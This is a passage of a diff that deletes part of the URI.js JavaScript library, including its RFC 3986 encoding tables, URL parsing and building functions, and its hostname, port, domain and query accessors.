-    ws: '80',
-    wss: '443'
-  };
-  // allowed hostname characters according to RFC 3986
-  // ALPHA DIGIT "-" "." "_" "~" "!" "$" "&" "'" "(" ")" "*" "+" "," ";" "=" %encoded
-  // I've never seen a (non-IDN) hostname other than: ALPHA DIGIT . -
-  URI.invalid_hostname_characters = /[^a-zA-Z0-9\.-]/;
-  // map DOM Elements to their URI attribute
-  URI.domAttributes = {
-    'a': 'href',
-    'blockquote': 'cite',
-    'link': 'href',
-    'base': 'href',
-    'script': 'src',
-    'form': 'action',
-    'img': 'src',
-    'area': 'href',
-    'iframe': 'src',
-    'embed': 'src',
-    'source': 'src',
-    'track': 'src',
-    'input': 'src', // but only if type="image"
-    'audio': 'src',
-    'video': 'src'
-  };
-  URI.getDomAttribute = function(node) {
-    if (!node || !node.nodeName) {
-      return undefined;
-    }
-
-    var nodeName = node.nodeName.toLowerCase();
-    // <input> should only expose src for type="image"
-    if (nodeName === 'input' && node.type !== 'image') {
-      return undefined;
-    }
-
-    return URI.domAttributes[nodeName];
-  };
-
-  function escapeForDumbFirefox36(value) {
-    // https://github.com/medialize/URI.js/issues/91
-    return escape(value);
-  }
-
-  // encoding / decoding according to RFC3986
-  function strictEncodeURIComponent(string) {
-    // see https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/encodeURIComponent
-    return encodeURIComponent(string)
-      .replace(/[!'()*]/g, escapeForDumbFirefox36)
-      .replace(/\*/g, '%2A');
-  }
-  URI.encode = strictEncodeURIComponent;
-  URI.decode = decodeURIComponent;
-  URI.iso8859 = function() {
-    URI.encode = escape;
-    URI.decode = unescape;
-  };
-  URI.unicode = function() {
-    URI.encode = strictEncodeURIComponent;
-    URI.decode = decodeURIComponent;
-  };
-  URI.characters = {
-    pathname: {
-      encode: {
-        // RFC3986 2.1: For consistency, URI producers and normalizers should
-        // use uppercase hexadecimal digits for all percent-encodings.
-        expression: /%(24|26|2B|2C|3B|3D|3A|40)/ig,
-        map: {
-          // -._~!'()*
-          '%24': '$',
-          '%26': '&',
-          '%2B': '+',
-          '%2C': ',',
-          '%3B': ';',
-          '%3D': '=',
-          '%3A': ':',
-          '%40': '@'
-        }
-      },
-      decode: {
-        expression: /[\/\?#]/g,
-        map: {
-          '/': '%2F',
-          '?': '%3F',
-          '#': '%23'
-        }
-      }
-    },
-    reserved: {
-      encode: {
-        // RFC3986 2.1: For consistency, URI producers and normalizers should
-        // use uppercase hexadecimal digits for all percent-encodings.
-        expression: /%(21|23|24|26|27|28|29|2A|2B|2C|2F|3A|3B|3D|3F|40|5B|5D)/ig,
-        map: {
-          // gen-delims
-          '%3A': ':',
-          '%2F': '/',
-          '%3F': '?',
-          '%23': '#',
-          '%5B': '[',
-          '%5D': ']',
-          '%40': '@',
-          // sub-delims
-          '%21': '!',
-          '%24': '$',
-          '%26': '&',
-          '%27': '\'',
-          '%28': '(',
-          '%29': ')',
-          '%2A': '*',
-          '%2B': '+',
-          '%2C': ',',
-          '%3B': ';',
-          '%3D': '='
-        }
-      }
-    },
-    urnpath: {
-      // The characters under `encode` are the characters called out by RFC 2141 as being acceptable
-      // for usage in a URN. RFC2141 also calls out "-", ".", and "_" as acceptable characters, but
-      // these aren't encoded by encodeURIComponent, so we don't have to call them out here. Also
-      // note that the colon character is not featured in the encoding map; this is because URI.js
-      // gives the colons in URNs semantic meaning as the delimiters of path segements, and so it
-      // should not appear unencoded in a segment itself.
-      // See also the note above about RFC3986 and capitalalized hex digits.
-      encode: {
-        expression: /%(21|24|27|28|29|2A|2B|2C|3B|3D|40)/ig,
-        map: {
-          '%21': '!',
-          '%24': '$',
-          '%27': '\'',
-          '%28': '(',
-          '%29': ')',
-          '%2A': '*',
-          '%2B': '+',
-          '%2C': ',',
-          '%3B': ';',
-          '%3D': '=',
-          '%40': '@'
-        }
-      },
-      // These characters are the characters called out by RFC2141 as "reserved" characters that
-      // should never appear in a URN, plus the colon character (see note above).
-      decode: {
-        expression: /[\/\?#:]/g,
-        map: {
-          '/': '%2F',
-          '?': '%3F',
-          '#': '%23',
-          ':': '%3A'
-        }
-      }
-    }
-  };
-  URI.encodeQuery = function(string, escapeQuerySpace) {
-    var escaped = URI.encode(string + '');
-    if (escapeQuerySpace === undefined) {
-      escapeQuerySpace = URI.escapeQuerySpace;
-    }
-
-    return escapeQuerySpace ? escaped.replace(/%20/g, '+') : escaped;
-  };
-  URI.decodeQuery = function(string, escapeQuerySpace) {
-    string += '';
-    if (escapeQuerySpace === undefined) {
-      escapeQuerySpace = URI.escapeQuerySpace;
-    }
-
-    try {
-      return URI.decode(escapeQuerySpace ? string.replace(/\+/g, '%20') : string);
-    } catch(e) {
-      // we're not going to mess with weird encodings,
-      // give up and return the undecoded original string
-      // see https://github.com/medialize/URI.js/issues/87
-      // see https://github.com/medialize/URI.js/issues/92
-      return string;
-    }
-  };
-  // generate encode/decode path functions
-  var _parts = {'encode':'encode', 'decode':'decode'};
-  var _part;
-  var generateAccessor = function(_group, _part) {
-    return function(string) {
-      try {
-        return URI[_part](string + '').replace(URI.characters[_group][_part].expression, function(c) {
-          return URI.characters[_group][_part].map[c];
-        });
-      } catch (e) {
-        // we're not going to mess with weird encodings,
-        // give up and return the undecoded original string
-        // see https://github.com/medialize/URI.js/issues/87
-        // see https://github.com/medialize/URI.js/issues/92
-        return string;
-      }
-    };
-  };
-
-  for (_part in _parts) {
-    URI[_part + 'PathSegment'] = generateAccessor('pathname', _parts[_part]);
-    URI[_part + 'UrnPathSegment'] = generateAccessor('urnpath', _parts[_part]);
-  }
-
-  var generateSegmentedPathFunction = function(_sep, _codingFuncName, _innerCodingFuncName) {
-    return function(string) {
-      // Why pass in names of functions, rather than the function objects themselves? The
-      // definitions of some functions (but in particular, URI.decode) will occasionally change due
-      // to URI.js having ISO8859 and Unicode modes. Passing in the name and getting it will ensure
-      // that the functions we use here are "fresh".
-      var actualCodingFunc;
-      if (!_innerCodingFuncName) {
-        actualCodingFunc = URI[_codingFuncName];
-      } else {
-        actualCodingFunc = function(string) {
-          return URI[_codingFuncName](URI[_innerCodingFuncName](string));
-        };
-      }
-
-      var segments = (string + '').split(_sep);
-
-      for (var i = 0, length = segments.length; i < length; i++) {
-        segments[i] = actualCodingFunc(segments[i]);
-      }
-
-      return segments.join(_sep);
-    };
-  };
-
-  // This takes place outside the above loop because we don't want, e.g., encodeUrnPath functions.
-  URI.decodePath = generateSegmentedPathFunction('/', 'decodePathSegment');
-  URI.decodeUrnPath = generateSegmentedPathFunction(':', 'decodeUrnPathSegment');
-  URI.recodePath = generateSegmentedPathFunction('/', 'encodePathSegment', 'decode');
-  URI.recodeUrnPath = generateSegmentedPathFunction(':', 'encodeUrnPathSegment', 'decode');
-
-  URI.encodeReserved = generateAccessor('reserved', 'encode');
-
-  URI.parse = function(string, parts) {
-    var pos;
-    if (!parts) {
-      parts = {};
-    }
-    // [protocol"://"[username[":"password]"@"]hostname[":"port]"/"?][path]["?"querystring]["#"fragment]
-
-    // extract fragment
-    pos = string.indexOf('#');
-    if (pos > -1) {
-      // escaping?
-      parts.fragment = string.substring(pos + 1) || null;
-      string = string.substring(0, pos);
-    }
-
-    // extract query
-    pos = string.indexOf('?');
-    if (pos > -1) {
-      // escaping?
-      parts.query = string.substring(pos + 1) || null;
-      string = string.substring(0, pos);
-    }
-
-    // extract protocol
-    if (string.substring(0, 2) === '//') {
-      // relative-scheme
-      parts.protocol = null;
-      string = string.substring(2);
-      // extract "user:pass@host:port"
-      string = URI.parseAuthority(string, parts);
-    } else {
-      pos = string.indexOf(':');
-      if (pos > -1) {
-        parts.protocol = string.substring(0, pos) || null;
-        if (parts.protocol && !parts.protocol.match(URI.protocol_expression)) {
-          // : may be within the path
-          parts.protocol = undefined;
-        } else if (string.substring(pos + 1, pos + 3) === '//') {
-          string = string.substring(pos + 3);
-
-          // extract "user:pass@host:port"
-          string = URI.parseAuthority(string, parts);
-        } else {
-          string = string.substring(pos + 1);
-          parts.urn = true;
-        }
-      }
-    }
-
-    // what's left must be the path
-    parts.path = string;
-
-    // and we're done
-    return parts;
-  };
-  URI.parseHost = function(string, parts) {
-    // Copy chrome, IE, opera backslash-handling behavior.
-    // Back slashes before the query string get converted to forward slashes
-    // See: https://github.com/joyent/node/blob/386fd24f49b0e9d1a8a076592a404168faeecc34/lib/url.js#L115-L124
-    // See: https://code.google.com/p/chromium/issues/detail?id=25916
-    // https://github.com/medialize/URI.js/pull/233
-    string = string.replace(/\\/g, '/');
-
-    // extract host:port
-    var pos = string.indexOf('/');
-    var bracketPos;
-    var t;
-
-    if (pos === -1) {
-      pos = string.length;
-    }
-
-    if (string.charAt(0) === '[') {
-      // IPv6 host - http://tools.ietf.org/html/draft-ietf-6man-text-addr-representation-04#section-6
-      // I claim most client software breaks on IPv6 anyways. To simplify things, URI only accepts
-      // IPv6+port in the format [2001:db8::1]:80 (for the time being)
-      bracketPos = string.indexOf(']');
-      parts.hostname = string.substring(1, bracketPos) || null;
-      parts.port = string.substring(bracketPos + 2, pos) || null;
-      if (parts.port === '/') {
-        parts.port = null;
-      }
-    } else {
-      var firstColon = string.indexOf(':');
-      var firstSlash = string.indexOf('/');
-      var nextColon = string.indexOf(':', firstColon + 1);
-      if (nextColon !== -1 && (firstSlash === -1 || nextColon < firstSlash)) {
-        // IPv6 host contains multiple colons - but no port
-        // this notation is actually not allowed by RFC 3986, but we're a liberal parser
-        parts.hostname = string.substring(0, pos) || null;
-        parts.port = null;
-      } else {
-        t = string.substring(0, pos).split(':');
-        parts.hostname = t[0] || null;
-        parts.port = t[1] || null;
-      }
-    }
-
-    if (parts.hostname && string.substring(pos).charAt(0) !== '/') {
-      pos++;
-      string = '/' + string;
-    }
-
-    return string.substring(pos) || '/';
-  };
-  URI.parseAuthority = function(string, parts) {
-    string = URI.parseUserinfo(string, parts);
-    return URI.parseHost(string, parts);
-  };
-  URI.parseUserinfo = function(string, parts) {
-    // extract username:password
-    var firstSlash = string.indexOf('/');
-    var pos = string.lastIndexOf('@', firstSlash > -1 ? firstSlash : string.length - 1);
-    var t;
-
-    // authority@ must come before /path
-    if (pos > -1 && (firstSlash === -1 || pos < firstSlash)) {
-      t = string.substring(0, pos).split(':');
-      parts.username = t[0] ? URI.decode(t[0]) : null;
-      t.shift();
-      parts.password = t[0] ? URI.decode(t.join(':')) : null;
-      string = string.substring(pos + 1);
-    } else {
-      parts.username = null;
-      parts.password = null;
-    }
-
-    return string;
-  };
-  URI.parseQuery = function(string, escapeQuerySpace) {
-    if (!string) {
-      return {};
-    }
-
-    // throw out the funky business - "?"[name"="value"&"]+
-    string = string.replace(/&+/g, '&').replace(/^\?*&*|&+$/g, '');
-
-    if (!string) {
-      return {};
-    }
-
-    var items = {};
-    var splits = string.split('&');
-    var length = splits.length;
-    var v, name, value;
-
-    for (var i = 0; i < length; i++) {
-      v = splits[i].split('=');
-      name = URI.decodeQuery(v.shift(), escapeQuerySpace);
-      // no "=" is null according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#collect-url-parameters
-      value = v.length ? URI.decodeQuery(v.join('='), escapeQuerySpace) : null;
-
-      if (hasOwn.call(items, name)) {
-        if (typeof items[name] === 'string' || items[name] === null) {
-          items[name] = [items[name]];
-        }
-
-        items[name].push(value);
-      } else {
-        items[name] = value;
-      }
-    }
-
-    return items;
-  };
-
-  URI.build = function(parts) {
-    var t = '';
-
-    if (parts.protocol) {
-      t += parts.protocol + ':';
-    }
-
-    if (!parts.urn && (t || parts.hostname)) {
-      t += '//';
-    }
-
-    t += (URI.buildAuthority(parts) || '');
-
-    if (typeof parts.path === 'string') {
-      if (parts.path.charAt(0) !== '/' && typeof parts.hostname === 'string') {
-        t += '/';
-      }
-
-      t += parts.path;
-    }
-
-    if (typeof parts.query === 'string' && parts.query) {
-      t += '?' + parts.query;
-    }
-
-    if (typeof parts.fragment === 'string' && parts.fragment) {
-      t += '#' + parts.fragment;
-    }
-    return t;
-  };
-  URI.buildHost = function(parts) {
-    var t = '';
-
-    if (!parts.hostname) {
-      return '';
-    } else if (URI.ip6_expression.test(parts.hostname)) {
-      t += '[' + parts.hostname + ']';
-    } else {
-      t += parts.hostname;
-    }
-
-    if (parts.port) {
-      t += ':' + parts.port;
-    }
-
-    return t;
-  };
-  URI.buildAuthority = function(parts) {
-    return URI.buildUserinfo(parts) + URI.buildHost(parts);
-  };
-  URI.buildUserinfo = function(parts) {
-    var t = '';
-
-    if (parts.username) {
-      t += URI.encode(parts.username);
-
-      if (parts.password) {
-        t += ':' + URI.encode(parts.password);
-      }
-
-      t += '@';
-    }
-
-    return t;
-  };
-  URI.buildQuery = function(data, duplicateQueryParameters, escapeQuerySpace) {
-    // according to http://tools.ietf.org/html/rfc3986 or http://labs.apache.org/webarch/uri/rfc/rfc3986.html
-    // being »-._~!$&'()*+,;=:@/?« %HEX and alnum are allowed
-    // the RFC explicitly states ?/foo being a valid use case, no mention of parameter syntax!
-    // URI.js treats the query string as being application/x-www-form-urlencoded
-    // see http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type
-
-    var t = '';
-    var unique, key, i, length;
-    for (key in data) {
-      if (hasOwn.call(data, key) && key) {
-        if (isArray(data[key])) {
-          unique = {};
-          for (i = 0, length = data[key].length; i < length; i++) {
-            if (data[key][i] !== undefined && unique[data[key][i] + ''] === undefined) {
-              t += '&' + URI.buildQueryParameter(key, data[key][i], escapeQuerySpace);
-              if (duplicateQueryParameters !== true) {
-                unique[data[key][i] + ''] = true;
-              }
-            }
-          }
-        } else if (data[key] !== undefined) {
-          t += '&' + URI.buildQueryParameter(key, data[key], escapeQuerySpace);
-        }
-      }
-    }
-
-    return t.substring(1);
-  };
-  URI.buildQueryParameter = function(name, value, escapeQuerySpace) {
-    // http://www.w3.org/TR/REC-html40/interact/forms.html#form-content-type -- application/x-www-form-urlencoded
-    // don't append "=" for null values, according to http://dvcs.w3.org/hg/url/raw-file/tip/Overview.html#url-parameter-serialization
-    return URI.encodeQuery(name, escapeQuerySpace) + (value !== null ? '=' + URI.encodeQuery(value, escapeQuerySpace) : '');
-  };
-
-  URI.addQuery = function(data, name, value) {
-    if (typeof name === 'object') {
-      for (var key in name) {
-        if (hasOwn.call(name, key)) {
-          URI.addQuery(data, key, name[key]);
-        }
-      }
-    } else if (typeof name === 'string') {
-      if (data[name] === undefined) {
-        data[name] = value;
-        return;
-      } else if (typeof data[name] === 'string') {
-        data[name] = [data[name]];
-      }
-
-      if (!isArray(value)) {
-        value = [value];
-      }
-
-      data[name] = (data[name] || []).concat(value);
-    } else {
-      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');
-    }
-  };
-  URI.removeQuery = function(data, name, value) {
-    var i, length, key;
-
-    if (isArray(name)) {
-      for (i = 0, length = name.length; i < length; i++) {
-        data[name[i]] = undefined;
-      }
-    } else if (getType(name) === 'RegExp') {
-      for (key in data) {
-        if (name.test(key)) {
-          data[key] = undefined;
-        }
-      }
-    } else if (typeof name === 'object') {
-      for (key in name) {
-        if (hasOwn.call(name, key)) {
-          URI.removeQuery(data, key, name[key]);
-        }
-      }
-    } else if (typeof name === 'string') {
-      if (value !== undefined) {
-        if (getType(value) === 'RegExp') {
-          if (!isArray(data[name]) && value.test(data[name])) {
-            data[name] = undefined;
-          } else {
-            data[name] = filterArrayValues(data[name], value);
-          }
-        } else if (data[name] === String(value) && (!isArray(value) || value.length === 1)) {
-          data[name] = undefined;
-        } else if (isArray(data[name])) {
-          data[name] = filterArrayValues(data[name], value);
-        }
-      } else {
-        data[name] = undefined;
-      }
-    } else {
-      throw new TypeError('URI.removeQuery() accepts an object, string, RegExp as the first parameter');
-    }
-  };
-  URI.hasQuery = function(data, name, value, withinArray) {
-    if (typeof name === 'object') {
-      for (var key in name) {
-        if (hasOwn.call(name, key)) {
-          if (!URI.hasQuery(data, key, name[key])) {
-            return false;
-          }
-        }
-      }
-
-      return true;
-    } else if (typeof name !== 'string') {
-      throw new TypeError('URI.hasQuery() accepts an object, string as the name parameter');
-    }
-
-    switch (getType(value)) {
-      case 'Undefined':
-        // true if exists (but may be empty)
-        return name in data; // data[name] !== undefined;
-
-      case 'Boolean':
-        // true if exists and non-empty
-        var _booly = Boolean(isArray(data[name]) ? data[name].length : data[name]);
-        return value === _booly;
-
-      case 'Function':
-        // allow complex comparison
-        return !!value(data[name], name, data);
-
-      case 'Array':
-        if (!isArray(data[name])) {
-          return false;
-        }
-
-        var op = withinArray ? arrayContains : arraysEqual;
-        return op(data[name], value);
-
-      case 'RegExp':
-        if (!isArray(data[name])) {
-          return Boolean(data[name] && data[name].match(value));
-        }
-
-        if (!withinArray) {
-          return false;
-        }
-
-        return arrayContains(data[name], value);
-
-      case 'Number':
-        value = String(value);
-        /* falls through */
-      case 'String':
-        if (!isArray(data[name])) {
-          return data[name] === value;
-        }
-
-        if (!withinArray) {
-          return false;
-        }
-
-        return arrayContains(data[name], value);
-
-      default:
-        throw new TypeError('URI.hasQuery() accepts undefined, boolean, string, number, RegExp, Function as the value parameter');
-    }
-  };
-
-
-  URI.commonPath = function(one, two) {
-    var length = Math.min(one.length, two.length);
-    var pos;
-
-    // find first non-matching character
-    for (pos = 0; pos < length; pos++) {
-      if (one.charAt(pos) !== two.charAt(pos)) {
-        pos--;
-        break;
-      }
-    }
-
-    if (pos < 1) {
-      return one.charAt(0) === two.charAt(0) && one.charAt(0) === '/' ? '/' : '';
-    }
-
-    // revert to last /
-    if (one.charAt(pos) !== '/' || two.charAt(pos) !== '/') {
-      pos = one.substring(0, pos).lastIndexOf('/');
-    }
-
-    return one.substring(0, pos + 1);
-  };
-
-  URI.withinString = function(string, callback, options) {
-    options || (options = {});
-    var _start = options.start || URI.findUri.start;
-    var _end = options.end || URI.findUri.end;
-    var _trim = options.trim || URI.findUri.trim;
-    var _attributeOpen = /[a-z0-9-]=["']?$/i;
-
-    _start.lastIndex = 0;
-    while (true) {
-      var match = _start.exec(string);
-      if (!match) {
-        break;
-      }
-
-      var start = match.index;
-      if (options.ignoreHtml) {
-        // attribut(e=["']?$)
-        var attributeOpen = string.slice(Math.max(start - 3, 0), start);
-        if (attributeOpen && _attributeOpen.test(attributeOpen)) {
-          continue;
-        }
-      }
-
-      var end = start + string.slice(start).search(_end);
-      var slice = string.slice(start, end).replace(_trim, '');
-      if (options.ignore && options.ignore.test(slice)) {
-        continue;
-      }
-
-      end = start + slice.length;
-      var result = callback(slice, start, end, string);
-      string = string.slice(0, start) + result + string.slice(end);
-      _start.lastIndex = start + result.length;
-    }
-
-    _start.lastIndex = 0;
-    return string;
-  };
-
-  URI.ensureValidHostname = function(v) {
-    // Theoretically URIs allow percent-encoding in Hostnames (according to RFC 3986)
-    // they are not part of DNS and therefore ignored by URI.js
-
-    if (v.match(URI.invalid_hostname_characters)) {
-      // test punycode
-      if (!punycode) {
-        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-] and Punycode.js is not available');
-      }
-
-      if (punycode.toASCII(v).match(URI.invalid_hostname_characters)) {
-        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
-      }
-    }
-  };
-
-  // noConflict
-  URI.noConflict = function(removeAll) {
-    if (removeAll) {
-      var unconflicted = {
-        URI: this.noConflict()
-      };
-
-      if (root.URITemplate && typeof root.URITemplate.noConflict === 'function') {
-        unconflicted.URITemplate = root.URITemplate.noConflict();
-      }
-
-      if (root.IPv6 && typeof root.IPv6.noConflict === 'function') {
-        unconflicted.IPv6 = root.IPv6.noConflict();
-      }
-
-      if (root.SecondLevelDomains && typeof root.SecondLevelDomains.noConflict === 'function') {
-        unconflicted.SecondLevelDomains = root.SecondLevelDomains.noConflict();
-      }
-
-      return unconflicted;
-    } else if (root.URI === this) {
-      root.URI = _URI;
-    }
-
-    return this;
-  };
-
-  p.build = function(deferBuild) {
-    if (deferBuild === true) {
-      this._deferred_build = true;
-    } else if (deferBuild === undefined || this._deferred_build) {
-      this._string = URI.build(this._parts);
-      this._deferred_build = false;
-    }
-
-    return this;
-  };
-
-  p.clone = function() {
-    return new URI(this);
-  };
-
-  p.valueOf = p.toString = function() {
-    return this.build(false)._string;
-  };
-
-
-  function generateSimpleAccessor(_part){
-    return function(v, build) {
-      if (v === undefined) {
-        return this._parts[_part] || '';
-      } else {
-        this._parts[_part] = v || null;
-        this.build(!build);
-        return this;
-      }
-    };
-  }
-
-  function generatePrefixAccessor(_part, _key){
-    return function(v, build) {
-      if (v === undefined) {
-        return this._parts[_part] || '';
-      } else {
-        if (v !== null) {
-          v = v + '';
-          if (v.charAt(0) === _key) {
-            v = v.substring(1);
-          }
-        }
-
-        this._parts[_part] = v;
-        this.build(!build);
-        return this;
-      }
-    };
-  }
-
-  p.protocol = generateSimpleAccessor('protocol');
-  p.username = generateSimpleAccessor('username');
-  p.password = generateSimpleAccessor('password');
-  p.hostname = generateSimpleAccessor('hostname');
-  p.port = generateSimpleAccessor('port');
-  p.query = generatePrefixAccessor('query', '?');
-  p.fragment = generatePrefixAccessor('fragment', '#');
-
-  p.search = function(v, build) {
-    var t = this.query(v, build);
-    return typeof t === 'string' && t.length ? ('?' + t) : t;
-  };
-  p.hash = function(v, build) {
-    var t = this.fragment(v, build);
-    return typeof t === 'string' && t.length ? ('#' + t) : t;
-  };
-
-  p.pathname = function(v, build) {
-    if (v === undefined || v === true) {
-      var res = this._parts.path || (this._parts.hostname ? '/' : '');
-      return v ? (this._parts.urn ? URI.decodeUrnPath : URI.decodePath)(res) : res;
-    } else {
-      if (this._parts.urn) {
-        this._parts.path = v ? URI.recodeUrnPath(v) : '';
-      } else {
-        this._parts.path = v ? URI.recodePath(v) : '/';
-      }
-      this.build(!build);
-      return this;
-    }
-  };
-  p.path = p.pathname;
-  p.href = function(href, build) {
-    var key;
-
-    if (href === undefined) {
-      return this.toString();
-    }
-
-    this._string = '';
-    this._parts = URI._parts();
-
-    var _URI = href instanceof URI;
-    var _object = typeof href === 'object' && (href.hostname || href.path || href.pathname);
-    if (href.nodeName) {
-      var attribute = URI.getDomAttribute(href);
-      href = href[attribute] || '';
-      _object = false;
-    }
-
-    // window.location is reported to be an object, but it's not the sort
-    // of object we're looking for:
-    // * location.protocol ends with a colon
-    // * location.query != object.search
-    // * location.hash != object.fragment
-    // simply serializing the unknown object should do the trick
-    // (for location, not for everything...)
-    if (!_URI && _object && href.pathname !== undefined) {
-      href = href.toString();
-    }
-
-    if (typeof href === 'string' || href instanceof String) {
-      this._parts = URI.parse(String(href), this._parts);
-    } else if (_URI || _object) {
-      var src = _URI ? href._parts : href;
-      for (key in src) {
-        if (hasOwn.call(this._parts, key)) {
-          this._parts[key] = src[key];
-        }
-      }
-    } else {
-      throw new TypeError('invalid input');
-    }
-
-    this.build(!build);
-    return this;
-  };
-
-  // identification accessors
-  p.is = function(what) {
-    var ip = false;
-    var ip4 = false;
-    var ip6 = false;
-    var name = false;
-    var sld = false;
-    var idn = false;
-    var punycode = false;
-    var relative = !this._parts.urn;
-
-    if (this._parts.hostname) {
-      relative = false;
-      ip4 = URI.ip4_expression.test(this._parts.hostname);
-      ip6 = URI.ip6_expression.test(this._parts.hostname);
-      ip = ip4 || ip6;
-      name = !ip;
-      sld = name && SLD && SLD.has(this._parts.hostname);
-      idn = name && URI.idn_expression.test(this._parts.hostname);
-      punycode = name && URI.punycode_expression.test(this._parts.hostname);
-    }
-
-    switch (what.toLowerCase()) {
-      case 'relative':
-        return relative;
-
-      case 'absolute':
-        return !relative;
-
-      // hostname identification
-      case 'domain':
-      case 'name':
-        return name;
-
-      case 'sld':
-        return sld;
-
-      case 'ip':
-        return ip;
-
-      case 'ip4':
-      case 'ipv4':
-      case 'inet4':
-        return ip4;
-
-      case 'ip6':
-      case 'ipv6':
-      case 'inet6':
-        return ip6;
-
-      case 'idn':
-        return idn;
-
-      case 'url':
-        return !this._parts.urn;
-
-      case 'urn':
-        return !!this._parts.urn;
-
-      case 'punycode':
-        return punycode;
-    }
-
-    return null;
-  };
-
-  // component specific input validation
-  var _protocol = p.protocol;
-  var _port = p.port;
-  var _hostname = p.hostname;
-
-  p.protocol = function(v, build) {
-    if (v !== undefined) {
-      if (v) {
-        // accept trailing ://
-        v = v.replace(/:(\/\/)?$/, '');
-
-        if (!v.match(URI.protocol_expression)) {
-          throw new TypeError('Protocol "' + v + '" contains characters other than [A-Z0-9.+-] or doesn\'t start with [A-Z]');
-        }
-      }
-    }
-    return _protocol.call(this, v, build);
-  };
-  p.scheme = p.protocol;
-  p.port = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v !== undefined) {
-      if (v === 0) {
-        v = null;
-      }
-
-      if (v) {
-        v += '';
-        if (v.charAt(0) === ':') {
-          v = v.substring(1);
-        }
-
-        if (v.match(/[^0-9]/)) {
-          throw new TypeError('Port "' + v + '" contains characters other than [0-9]');
-        }
-      }
-    }
-    return _port.call(this, v, build);
-  };
-  p.hostname = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v !== undefined) {
-      var x = {};
-      var res = URI.parseHost(v, x);
-      if (res !== '/') {
-        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
-      }
-
-      v = x.hostname;
-    }
-    return _hostname.call(this, v, build);
-  };
-
-  // compound accessors
-  p.origin = function(v, build) {
-    var parts;
-
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined) {
-      var protocol = this.protocol();
-      var authority = this.authority();
-      if (!authority) return '';
-      return (protocol ? protocol + '://' : '') + this.authority();
-    } else {
-      var origin = URI(v);
-      this
-        .protocol(origin.protocol())
-        .authority(origin.authority())
-        .build(!build);
-      return this;
-    }
-  };
-  p.host = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined) {
-      return this._parts.hostname ? URI.buildHost(this._parts) : '';
-    } else {
-      var res = URI.parseHost(v, this._parts);
-      if (res !== '/') {
-        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
-      }
-
-      this.build(!build);
-      return this;
-    }
-  };
-  p.authority = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined) {
-      return this._parts.hostname ? URI.buildAuthority(this._parts) : '';
-    } else {
-      var res = URI.parseAuthority(v, this._parts);
-      if (res !== '/') {
-        throw new TypeError('Hostname "' + v + '" contains characters other than [A-Z0-9.-]');
-      }
-
-      this.build(!build);
-      return this;
-    }
-  };
-  p.userinfo = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (v === undefined) {
-      if (!this._parts.username) {
-        return '';
-      }
-
-      var t = URI.buildUserinfo(this._parts);
-      return t.substring(0, t.length -1);
-    } else {
-      if (v[v.length-1] !== '@') {
-        v += '@';
-      }
-
-      URI.parseUserinfo(v, this._parts);
-      this.build(!build);
-      return this;
-    }
-  };
-  p.resource = function(v, build) {
-    var parts;
-
-    if (v === undefined) {
-      return this.path() + this.search() + this.hash();
-    }
-
-    parts = URI.parse(v);
-    this._parts.path = parts.path;
-    this._parts.query = parts.query;
-    this._parts.fragment = parts.fragment;
-    this.build(!build);
-    return this;
-  };
-
-  // fraction accessors
-  p.subdomain = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    // convenience, return "www" from "www.example.org"
-    if (v === undefined) {
-      if (!this._parts.hostname || this.is('IP')) {
-        return '';
-      }
-
-      // grab domain and add another segment
-      var end = this._parts.hostname.length - this.domain().length - 1;
-      return this._parts.hostname.substring(0, end) || '';
-    } else {
-      var e = this._parts.hostname.length - this.domain().length;
-      var sub = this._parts.hostname.substring(0, e);
-      var replace = new RegExp('^' + escapeRegEx(sub));
-
-      if (v && v.charAt(v.length - 1) !== '.') {
-        v += '.';
-      }
-
-      if (v) {
-        URI.ensureValidHostname(v);
-      }
-
-      this._parts.hostname = this._parts.hostname.replace(replace, v);
-      this.build(!build);
-      return this;
-    }
-  };
-  p.domain = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (typeof v === 'boolean') {
-      build = v;
-      v = undefined;
-    }
-
-    // convenience, return "example.org" from "www.example.org"
-    if (v === undefined) {
-      if (!this._parts.hostname || this.is('IP')) {
-        return '';
-      }
-
-      // if hostname consists of 1 or 2 segments, it must be the domain
-      var t = this._parts.hostname.match(/\./g);
-      if (t && t.length < 2) {
-        return this._parts.hostname;
-      }
-
-      // grab tld and add another segment
-      var end = this._parts.hostname.length - this.tld(build).length - 1;
-      end = this._parts.hostname.lastIndexOf('.', end -1) + 1;
-      return this._parts.hostname.substring(end) || '';
-    } else {
-      if (!v) {
-        throw new TypeError('cannot set domain empty');
-      }
-
-      URI.ensureValidHostname(v);
-
-      if (!this._parts.hostname || this.is('IP')) {
-        this._parts.hostname = v;
-      } else {
-        var replace = new RegExp(escapeRegEx(this.domain()) + '$');
-        this._parts.hostname = this._parts.hostname.replace(replace, v);
-      }
-
-      this.build(!build);
-      return this;
-    }
-  };
-  p.tld = function(v, build) {
-    if (this._parts.urn) {
-      return v === undefined ? '' : this;
-    }
-
-    if (typeof v === 'boolean') {
-      build = v;
-      v = undefined;
-    }
-
-    // return "org" from "www.example.org"
-    if (v === undefined) {
-      if (!this._parts.hostname || this.is('IP')) {
-        return '';
-      }
-
-      var pos = this._parts.hostname.lastIndexOf('.');
-      var tld = this._parts.hostname.substring(pos + 1);
-
-      if (build !== true && SLD && SLD.list[tld.toLowerCase()]) {
-        return SLD.get(this._parts.hostname) || tld;
-      }
-
-      return tld;
-    } else {
-      var replace;
-
-      if (!v) {
-        throw new TypeError('cannot set TLD empty');
